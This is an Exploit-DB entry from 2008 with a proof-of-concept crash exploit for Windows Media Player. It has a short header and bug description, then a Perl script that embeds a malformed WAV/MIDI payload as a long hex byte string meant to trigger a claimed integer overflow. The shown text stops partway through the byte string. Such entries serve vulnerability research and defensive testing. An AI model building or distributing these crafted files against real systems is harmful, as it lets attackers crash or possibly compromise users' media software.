Exploit-DB #7585
Description: Microsoft Windows Media Player - '.wav' Remote Crash (PoC)
Type: dos
Platform: windows
Date: 2008-12-28
Author: laurent gaffiÃ©

Exploit:
----------------------------------------------------------------------------------------|
MS Windows Media Player * (.WAV) Remote Integrer Overflow                               |
                                                                                        |
Application: ALL Windows Media player                                                   |
                                                                                        |
Web Site: www.microsoft.com                                                             |
                                                                                        |
Platform: Windows ALL                                                                   |
                                                                                        |
Bug: Remote Integrer Overflow                                                           |
                                                                                        |
Tested agains: WMP 9, 10, 11, vista sp1, windows 7(from the HEC leak), windows XP sp3   |
                                                                                        |
Merry-Christmas to all ;)                                                               |
----------------------------------------------------------------------------------------|
                        |
1) Introduction         |
                        |
2) Bug                  |
                        |
3) Proof of concept     |
                        |
4) Credits              |
                        |
------------------------|



------------------------|     
1) Introduction         |
                        |
------------------------|					   

"Windows Media Player 11 for Windows XP offers great new ways to store and enjoy all your music, video, pictures, and recorded TV.
Play it, view it, and sync it to a portable device for enjoying on the go or even share with devices around your homeÂ—all from one place."

----------|
          |
2) Bug    |
          |
----------|
Windows Media player fails to handle exeptional condition when parsing a malformed WAV,SND,MID file.
which can lead to a remote integrer overflow.
 

--------------------|
                    |
3)Proof of concept  |
                    |
--------------------|

#!/usr/bin/perl

use strict;

my $wav = 
"\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x03\x00\xf0\x4d\x54\x72\x6b\x00\x00".
"\x00\x21\x00\xff\x51\x03\x0a\x2c\x2a\x00\xff\x58\x04\x02\x02\x18\x08\x00\xff\x03".
"\x08\x20\x20\x20\x20\x20\x20\x20\x20\x85\x88\x61\xff\x2f\x00\x4d\x54\x72\x6b\x00".
"\x00\x27\x6b\x00\xff\x03\x08\x41\x20\x42\x72\x65\x65\x7a\x65\x00\xc1\x07\x00\x07".
"\x82\x69\x91\x43\x3d\x00\x40\x3d\x64\x43\x00\x00\x40\x00\x13\x48\x3f\x00\x3f\x3f".
"\x65\x48\x00\x00\x3f\x00\x13\x45\x3f\x29\x45\x00\x13\x44\x3f\x29\x44\x00\x13\x45".
"\x65\x29\x45\x00\x13\x47\x3f\x29\x47\x00\x13\x48\x3f\x00\x40\x3f\x81\x21\x48\x00".
"\x00\x40\x00\x13\x43\x3f\x29\x43\x00\x13\x40\x3f\x29\x40\x00\x13\x3f\x3f\x29\x3f".
"\x00\x13\x40\x3f\x29\x40\x00\x13\x41\x3f\x29\x41\x00\x13\x43\x3f\x81\x21\x43\x00".
"\x13\x41\x3f\x29\x41\x00\x13\x3e\x3f\x29\x3e\x00\x13\x3c\x3f\x29\x3c\x00\x13\x40".
"\x3f\x29\x40\x00\x13\x3e\x3f\x29\x3e\x00\x13\x3b\x3f\x29\x3b\x00\x13\x39\x3f\x29".
"\x39\x00\x13\x37\x3f\x65\x37\x00\x81\x0c\x4f\x3d\x00\x4a\x3d\x00\x47\x3d\x00\x43".
"\x3d\x64\x4f\x00\x00\x4a\x00\x00\x47\x00\x00\x43\x00\x13\x43\x3f\x65\x43\x00\x13".
"\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x4b\x51\x00\x42\x51\x29\x4b\x00".
"\x00\x42\x00\x13\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x48\x51\x00\x40".
"\x51\x65\x48\x00\x00\x40\x00\x13\x40\x51\x29\x40\x00\x13\x41\x51\x29\x41\x00\x13".
"\x42\x51\x29\x42\x00\x13\x43\x51\x29\x43\x00\x13\x48\x51\x29\x48\x00\x13\x4c\x51".
"\x29\x4c\x00\x13\x4f\x54\x00\x4c\x54\x01\x43\x54\x64\x4f\x00\x00\x4c\x00\x00\x43".
"\x00\x13\x4e\x54\x00\x4b\x54\x00\x42\x54\x29\x4e\x00\x00\x4b\x00\x00\x42\x00\x13".
"\x4f\x54\x00\x4c\x54\x00\x43\x54\x65\x4f\x00\x00\x4c\x00\x00\x43\x00\x13\x4c\x51".
"\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x4b\x51\x00\x42\x51\x29\x4b\x00\x00\x42".
"\x00\x13\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x48\x51\x00\x40\x51\x65".
"\x48\x00\x00\x40\x00\x13\x40\x51\x29\x40\x00\x13\x41\x51\x29\x41\x00\x13\x41\x51".
"\x29\x41\x00\x13\x43\x51\x29\x43\x00\x13\x48\x51\x29\x48\x00\x13\x4c\x51\x29\x4c".
"\x00\x13\x4f\x51\x00\x4c\x51\x01\x43\x64\x64\x4f\x00\x00\x4c\x00\x00\x43\x00\x13".
"\x4d\x51\x00\x4a\x51\x00\x42\x64\x29\x4d\x00\x00\x4a\x00\x00\x42\x00\x13\x4f\x51".
"\x00\x4c\x51\x00\x43\x64\x65\x4f\x00\x00\x4c\x00\x00\x43\x00\x13\x4f\x51\x00\x43".
"\x51\x29\x4f\x00\x00\x43\x00\x13\x50\x51\x00\x44\x51\x01\x4d\x64\x28\x50\x00\x00".
"\x44\x00\x00\x4d\x00\x13\x51\x51\x00\x45\x51\x00\x4d\x64\x29\x51\x00\x00\x45\x00".
"\x00\x4d\x00\x13\x53\x51\x00\x47\x51\x00\x4d\x64\x65\x53\x00\x00\x47\x00\x00\x4d".
"\x00\x13\x4f\x51\x00\x43\x51\x00\x4d\x64\x29\x4f\x00\x00\x43\x00\x00\x4d\x00\x13".
"\x51\x51\x00\x45\x51\x00\x4d\x64\x29\x51\x00\x00\x45\x00\x00\x4d\x00\x13\x53\x51".
"\x00\x47\x51\x00\x4d\x64\x29\x53\x00\x00\x47\x00\x00\x4d\x00\x13\x54\x51\x00\x48".
"\x51\x00\x4c\x64\x29\x54\x00\x00\x48\x00\x00\x4c\x00\x13\x53\x51\x00\x47\x51\x00".
"\x4c\x64\x29\x53\x00\x00\x47\x00\x00\x4c\x00\x13\x54\x51\x00\x48\x51\x00\x4c\x64".
"\x29\x54\x00\x00\x48\x00\x00\x4c\x00\x13\x58\x51\x00\x4c\x51\x00\x4f\x64\x29\x58".
"\x00\x00\x4c\x00\x13\x58\x51\x00\x4c\x51\x29\x58\x00\x00\x4c\x00\x00\x4f\x00\x13".
"\x57\x69\x00\x4b\x69\x29\x57\x00\x00\x4b\x00\x13\x58\x69\x00\x4c\x69\x65\x58\x00".
"\x00\x4c\x00\x13\x58\x69\x29\x58\x00\x13\x56\x69\x29\x56\x00\x13\x55\x69\x29\x55".
"\x00\x13\x56\x69\x65\x56\x00\x13\x54\x69\x00\x4c\x69\x29\x54\x00\x00\x4c\x00\x13".
"\x53\x69\x00\x4a\x69\x29\x53\x00\x00\x4a\x00\x13\x51\x69\x00\x48\x69\x29\x51\x00".
"\x00\x48\x00\x13\x4f\x69\x00\x47\x69\x82\x55\x4f\x00\x00\x47\x00\x13\x4d\x69\x00".
"\x4a\x69